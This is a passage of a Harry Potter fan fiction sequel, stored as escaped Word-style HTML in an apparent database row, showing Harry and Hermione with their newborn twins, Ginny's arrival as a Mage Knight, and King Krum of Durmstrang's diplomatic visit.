style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you too,\nHarry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry lied down on\nthe bed next to his wife.&nbsp; Hermione\nalso lied down and placed her head on Harry&#8217;s chest.&nbsp; They stayed in that position for a while just gazing down at\ntheir twins still in their arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;When will you be leaving\nfor Beauxbatons?&#8221; asked Hermione after a few minutes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;The day after\ntomorrow,&#8221; said Harry with a sigh.&nbsp;\nHermione dug her face into the nape of Harry&#8217;s neck.&nbsp; Harry started stroking her hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I wish I could go\nwith you,&#8221; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I wish I could\nstay here,&#8221; said Harry.&nbsp; He kissed\nthe top of Hermione&#8217;s head.&nbsp; &#8220;As a\nking, its my duty to go meet the delegates but I&#8217;d much rather stay here as a\nhusband and a father.&#8221;&nbsp; It suddenly\nhit him that he was a father.&nbsp; He\nchuckled softly from the sheer joy the realization brought to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;ll miss you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I won&#8217;t be gone\nthat long, it&#8217;s only a few days.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hold me.&#8221;&nbsp; Harry wrapped his arms around Hermione,\ntheir babies in between them.&nbsp;\nHermione allowed herself to melt in Harry&#8217;s arms, the exhaustion finally\ncatching up with her.&nbsp; Slowly, her\nbreathing became steady and she drifted off to sleep.&nbsp; Harry smiled and kissed her on her cheek.&nbsp; He pulled himself out of bed and picked\nup the twins.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As he carried them\nto the nursery right next door, Harry gazed down his two children in his\narms.&nbsp; HIS children.&nbsp; A part of him still couldn&#8217;t believe\nthat he was a father.&nbsp; But the two\npairs of emerald green eyes that looked up at him were enough proof.&nbsp; Eyes identical to his and his\nmother&#8217;s.&nbsp; No one else had eyes\nlike that.&nbsp; Little James had fallen\nasleep and little Lily was following.&nbsp;\nHarry chuckled as he laid the two in their crib.&nbsp; He softly stroked their hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I spent my life\ndenied of all forms of love.&nbsp; Since\nthen, I promised myself that when I have a family of my own, I will give them\nall of the love that I have been denied.&#8221;&nbsp;\nHe kissed the two on their foreheads.&nbsp; &#8220;Now that I have my own family, I&#8217;ll renew that promise.&nbsp; I promise you two that I will give you\nall the love that I have denied.&nbsp;\nThere is no way that I am going to let you two have the childhood that I\nhad.&nbsp; I love you two.&#8221;&nbsp; He kissed them both again before he\nleft the nursery.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">He got back into\nthe master bedroom, changed into his nightclothes and climbed into bed.&nbsp; Almost by instinct, Hermione snuggled\nup to her husband.&nbsp; Harry smiled as\nhe wrapped his arms around Hermione again.&nbsp; He kissed her softly on her lips, hoping that she wouldn&#8217;t\nwake up.&nbsp; Hermione made a small\nsmile in her sleep.&nbsp; Harry also\nsmiled and whispered, &#8220;I love you,&#8221; into her ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you too,&#8221;\nshe mumbled in her sleep.&nbsp; Harry\ngrinned and pulled her closer to him.&nbsp;\nHe soon drifted off into a steady slumber.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N The sequel,\nits here!&nbsp; So how did you like the\nfirst chapter?&nbsp; Please R/R it.&nbsp; I sure hope that this story will live\nup to the prequel and everyone&#8217;s expectations.&nbsp; OK, so the first chapter has major fluff, but the plot will\ncome in effect from the next chapter.&nbsp;\nIt&#8217;s a lot more serious than the prequel.&nbsp; So just sit back and relax and on with the show!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n\n'),
	(123, 2, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<b>\n</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Chapter 2: The\nDelegates from Durmstrang</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few days later,\nLavender Brown and Parvati Patil were taking one of their customary &#8220;breaks&#8221; from\ntheir jobs when a hooded figure wrapped up in a brown cloak made their way\ntoward the two ladies in waiting.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Is Queen Hermione\nhere?&#8221; asked a clear feminine voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lavender\nimmediately sprang to her job.&nbsp; &#8220;Uh\nyes.&nbsp; She should be in the west wing.&nbsp; What should I say to her?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Just tell her\nthat Ginny Weasley is here to see her,&#8221; said the figure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK, I&#8217;ll tell her\nmajesty that Ginny Weasley is here to see her.&#8221;&nbsp; Lavender made a dash for the west wing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was in the\nnursery gazing down at her sleeping babies.&nbsp;\nIt was a slightly odd sight with the Queen in all her royal violet robes\nand jeweled tiara on her head looking down into the crib with the two sleeping\nbabies.&nbsp; But Hermione was a muggle-born,\nborn and raised as a commoner and personally had no cares for her Royal office\nalthough she was willing to use it for the sake of helping those in need.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For Hermione, her\nfirst priorities were her duties as a wife and now as a mother.&nbsp; A Mother, even after nine months of\npregnancy and the trying experience of childbirth, Hermione still had a hard\ntime comprehending the fact that she was a mother.&nbsp; She was the mother of the children of the most wonderful man in\nMagiterran and she loved him not because of his Royal background but for whom\nhe was.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione lovingly\nstroked the hair of her twins.&nbsp; &#8220;I love\nyou two so much,&#8221; she whispered.&nbsp; &#8220;But I\nwish your father were here.&nbsp; I miss him\nalready and he&#8217;s only been gone for a day.&#8221;&nbsp;\nHermione sighed.&nbsp; She and Harry\nhad virtually never been apart throughout the entire year they had been\nmarried.&nbsp; Harry had stuck by her\nthroughout the entire pregnancy, amidst the morning sickness, hunger cravings,\nmood swings, and the fact that she had nearly crushed Harry&#8217;s hand when she\nwent into labor.&nbsp; Sometimes she wondered\nhow lucky she was to have the love of her husband.&nbsp; There were times when she couldn&#8217;t help but chuckle about the\nfact that none of this happiness would have happened if she hadn&#8217;t been stupid\nand kissed Harry during the birthday celebration of a good friend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was around then\nthat Lavender ran into the nursery.&nbsp;\nHermione smiled.&nbsp; &#8220;Yes\nLavender?&nbsp; What brings you up here?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Your Majesty, a\nGinny Weasley is here to see you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Speak of the\ndevil,&#8221; said Hermione.&nbsp; She rushed out\nof the room eager to greet her old friend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ginny?&nbsp; Is that you?&#8221; said Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hello Hermione,&#8221;\nsaid a familiar voice from under the brown hood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What are you\ndoing here?&nbsp; And why are you all dressed\nup like that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well Hermione,&#8221;\nsaid Ginny with a teasing voice, &#8220;I wanted to show you something.&#8221;&nbsp; Ginny threw off the cloak.&nbsp; Hermione gasped when she saw that Ginny was\nwearing very familiar armor and a scarlet cape.&nbsp; She had seen the same armor on Harry and Ron only that Ginny&#8217;s\nvisor had dove wings that went well with her long red hair.&nbsp; She had a thin sword holstered at her waist.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione starred\nat her friend, her eyes wide.&nbsp;\n&#8220;Ginny?&nbsp; Does this mean&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny made a small\nbow.&nbsp; &#8220;Your majesty, you are looking at Sir\nVirginia Weasley, newly appointed Mage Knight.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione hugged\nher old friend.&nbsp; &#8220;Ginny, that&#8217;s\nwonderful.&nbsp; I always knew you had it in\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mum wasn&#8217;t\nexactly thrilled about my prospects as a Mage Knight,&#8221; said Ginny.&nbsp; &#8220;But I said that if I wasn&#8217;t aloud to become\none, then I&#8217;d take after Fred and George and become a court jester.&#8221;&nbsp; The two laughed out loud.&nbsp; Hermione sobered up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry asked you\nto come here, didn&#8217;t he?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny sighed.&nbsp; &#8220;Yes, he wants some Mage Knights here to\nprotect you while he&#8217;s away.&nbsp; Sir Cho\nChang is here as well.&#8221;&nbsp; Hermione was\nabout say something when Ginny said, &#8220;Now don&#8217;t complain, Hermione.&nbsp; I know that you&#8217;re completely capable of\nprotecting yourself, but you&#8217;ve just given birth.&nbsp; Please don&#8217;t turn our protection away, if not for yourself than\nfor the your children.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione sighed\nand gave in.&nbsp; &#8220;OK, I&#8217;ll accept your\nprotection.&#8221;&nbsp; She grinned as she took a\nhold of Ginny&#8217;s arm.&nbsp; &#8220;So tell me, how\nhave your brothers been doing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A Black ship was\nsailing toward Magiterran.&nbsp; A splendid\nyet dark ship that appeared to have been through many an icy winter and\nbattlefield.&nbsp; The ship anchored itself\nin Beauxbaton port.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Many an important\nlooking person strolled out of the ship down the carpeted road.&nbsp; But they all moved out of the way for the\nmost important looking man who strolled out of the ship.&nbsp; He towered over most of the people around\nhim.&nbsp; He had thick eyebrows, a dark\ncomplexion, and a hooked nose that reminded people of a bird of prey.&nbsp; He was wearing the most expensive looking\npurple robes, was carrying a golden scepter and had a blood red crown on his\nhead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;King Viktor Krum\nof Durmstrang!&#8221; announced the herald.&nbsp;\nViktor Krum strolled his way to the waiting citizens of Magiterran.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I hav come to zis\nland in peace,&#8221; he said.&nbsp; &#8220;Are youv the\nrulers ov zis four-kingdom Alliance?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The four rulers of\nthe Alliance stepped forward to greet the foreign king.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The first was one\nKing Justin Finch Fletchly of Hufflepuff.&nbsp;\nHe had only been on the throne for about a month.&nbsp; He was wearing plain yellow robes of a\nfarmer.&nbsp; But he had a few topaz\nrings.&nbsp; He came forward and shook Krum&#8217;s\nhand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The second was\nQueen Penelope Clearwater of Ravenclaw.&nbsp;\nShe was wearing plain priest&#8217;s robes and was carrying a few books.&nbsp; She had one sapphire ring.&nbsp; Standing behind her was Prime Minister Percy\nWeasley her betrothed.&nbsp; Penelope also\nshook his hand but Krum had a slight look of disdain on his face for a brief\nmoment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The third ruler\nwas Draco Malfoy of Slytherin.&nbsp; He was\nwearing very elegant, kingly, green robes and emerald encrusted jewelry and was\nalso carrying a silver scepter.&nbsp;\n&#8220;Welcome to Magiterran,&#8221; he announced with high pomp and flair as he\nshook Krum&#8217;s hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Krum came\nto Harry who was wearing his Mage Knight armor and red cape.&nbsp; He also had his ruby encrusted sword\nholstered on his waist.&nbsp; It was clear\nthat while the other three rulers were former Mage Knights, King Harry Potter\nof Gryffindor was still a fully active Mage Knight.&nbsp; Standing with Harry was Ron and Harry&#8217;s herald, Neville\nLongbottom.&nbsp; Rather than shake Krum&#8217;s\nhand, Harry made a polite bow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ah, Harry\nPotter,&#8221; said Krum.&nbsp; &#8220;Tales uv your\nvaliancy hav reached even us across za sea.&#8221;&nbsp;\nHe turned to the other rulers.&nbsp;\n&#8220;Shall ve proceed?&#8221;&nbsp; The Alliance\nrulers all acknowledged and made their way to the conference hall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The conference\nwith the delegates of Durmstrang was going successfully.&nbsp; Within hours the Alliance had established\ntrade of commerce and technology.&nbsp; It\nlooked like diplomatic relations would soon be established between Durmstrang\nand the Alliance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, I believe\nthat was a successful conference?&#8221; said Draco.&nbsp;\n&#8220;Lets just sign the forms and all shake hands.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Not so fast,&#8221;\nsaid Krum.&nbsp; &#8220;If ve are to hav diplomatic\nrelations, than our side must hav ze necessary accommodations.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 